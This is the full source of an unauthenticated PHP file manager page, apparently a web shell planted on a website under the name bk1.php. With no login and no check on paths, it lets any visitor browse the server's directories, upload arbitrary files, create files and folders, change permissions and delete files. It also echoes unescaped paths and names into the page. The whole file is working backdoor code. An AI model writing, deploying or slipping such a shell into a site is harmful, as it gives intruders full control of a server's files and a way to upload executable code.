Current File : /home/honehdyv/readbtooom.com/bk1.php |
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File Manager</title>
<style>
body {
background-color: #111;
color: #0f0;
font-family: Arial, sans-serif;
margin: 0;
padding: 20px;
}
h2 {
text-align: center;
font-size: 36px;
font-weight: bold;
margin: 10px 0;
position: relative;
background: linear-gradient(90deg, #ff0000, #ffff00, #00ff00, #00ffff, #0000ff);
background-size: 200%;
color: transparent;
-webkit-background-clip: text;
animation: gradientAnimation 3s linear infinite;
}
@keyframes gradientAnimation {
0% {
background-position: 200% 0%;
}
50% {
background-position: 0% 100%;
}
100% {
background-position: 200% 0%;
}
}
.php-version {
position: absolute;
top: 10px;
right: 20px;
font-size: 14px;
color: #0ff;
}
a {
color: #6cf;
text-decoration: none;
}
a:hover {
text-decoration: underline;
}
table {
width: 100%;
border-collapse: collapse;
margin-top: 20px;
}
th, td {
padding: 10px;
border: 1px solid #333;
transition: background 0.3s, color 0.3s;
}
tr:hover {
background-color: #32CD32;
}
tr:hover td a.filename-link {
color: #000;
font-weight: bold;
}
.filename-link {
color: #0ff;
}
.action-cell {
text-align: right;
}
input, button {
background: #222;
color: #0f0;
border: 1px solid #444;
padding: 5px 10px;
margin-right: 10px;
}
button {
cursor: pointer;
}
.alert-message {
color: #32CD32;
background-color: #222;
padding: 10px;
text-align: center;
font-size: 18px;
margin: 20px 0;
}
.top-actions {
margin-bottom: 10px;
}
.top-actions form {
display: inline;
}
.path-display {
margin-top: 15px;
color: #fff;
}
.file-upload-container {
display: flex;
justify-content: space-between;
align-items: center;
}
/* Custom styles for emoji */
.emoji {
color: #fff; /* Ensures the emoji stays white */
}
</style>
</head>
<body>
<h2>
<span class="emoji">📁</span> File Manager-<span class="emoji">🛒</span>
<span class="php-version">PHP v<?= phpversion(); ?></span>
</h2>
<?php
$path = isset($_GET['path']) ? $_GET['path'] : getcwd();
$path = realpath($path);
$alertMessage = "";
// Upload
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
if (move_uploaded_file($_FILES['file']['tmp_name'], $path . DIRECTORY_SEPARATOR . $_FILES['file']['name'])) {
$alertMessage = "File uploaded successfully!";
} else {
$alertMessage = "File upload failed!";
}
}
// Create folder
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfolder'])) {
$folder = $path . DIRECTORY_SEPARATOR . $_POST['newfolder'];
if (!file_exists($folder)) {
mkdir($folder);
$alertMessage = "Folder created successfully!";
} else {
$alertMessage = "Folder already exists!";
}
}
// Create file
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['newfile'])) {
$file = $path . DIRECTORY_SEPARATOR . $_POST['newfile'];
if (!file_exists($file)) {
file_put_contents($file, '');
$alertMessage = "File created successfully!";
} else {
$alertMessage = "File already exists!";
}
}
// Change permission
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_value'])) {
$file = $_POST['chmod_file'];
$perm = $_POST['chmod_value'];
if (file_exists($file)) {
chmod($file, octdec($perm));
$alertMessage = "Permissions changed successfully!";
} else {
$alertMessage = "File does not exist!";
}
}
// Delete
if (isset($_GET['delete'])) {
$file = urldecode($_GET['delete']);
if (file_exists($file)) {
unlink($file);
// Redirect back to the same folder after delete
header("Location: ?path=" . urlencode(dirname($file)));
exit;
}
}
?>
<?php if ($alertMessage): ?>
<div class="alert-message"><?= $alertMessage ?></div>
<?php endif; ?>
<!-- Top Bar Buttons and Current Path -->
<div class="file-upload-container">
<div>
<form method="post">
<input type="text" name="newfolder" placeholder="📁 New Folder" required>
<button type="submit">Create Folder</button>
</form>
<form method="post">
<input type="text" name="newfile" placeholder="📄 New File" required>
<button type="submit">Create File</button>
</form>
</div>
<div>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" onchange="this.form.submit()">
</form>
</div>
</div>
<!-- Current Path -->
<p class="path-display"><b>Current Path:</b>
<?php
$parts = explode(DIRECTORY_SEPARATOR, $path);
$build = '';
foreach ($parts as $part) {
if ($part == '') continue;
$build .= DIRECTORY_SEPARATOR . $part;
echo "<a href='?path=" . urlencode($build) . "'>$part</a>/";
}
?>
</p>
<!-- File Table -->
<table>
<tr>
<th>Name</th><th>Size</th><th>Permissions</th><th>Actions</th>
</tr>
<?php
$files = scandir($path);
usort($files, function ($a, $b) use ($path) {
return is_dir($path . DIRECTORY_SEPARATOR . $b) - is_dir($path . DIRECTORY_SEPARATOR . $a);
});
foreach ($files as $file) {
if ($file == '.') continue;
$full = $path . DIRECTORY_SEPARATOR . $file;
$isDir = is_dir($full);
$perm = substr(sprintf('%o', fileperms($full)), -4);
$size = $isDir ? '-' : filesize($full);
echo "<tr>";
echo "<td>" . ($isDir ? "📁" : "📄") . " <a class='filename-link' href='?path=" . urlencode($full) . "'>$file</a></td>";
echo "<td>" . ($isDir ? '-' : round($size / 1024, 2) . ' KB') . "</td>";
echo "<td>$perm</td>";
echo "<td class='action-cell'>
<a href='?delete=" . urlencode($full) . "'>🗑️</a>
" . (!$isDir ? "<a href='$full' download>⬇️</a>" : "") . "
<form method='post' style='display:inline;'>
<input type='hidden' name='chmod_file' value='$full'>
<input type='text' name='chmod_value' placeholder='Perm' style='width:60px;'>
<button type='submit'>🔒</button>
</form>
</td>";
echo "</tr>";
}
?>
</table>
</body>
</html>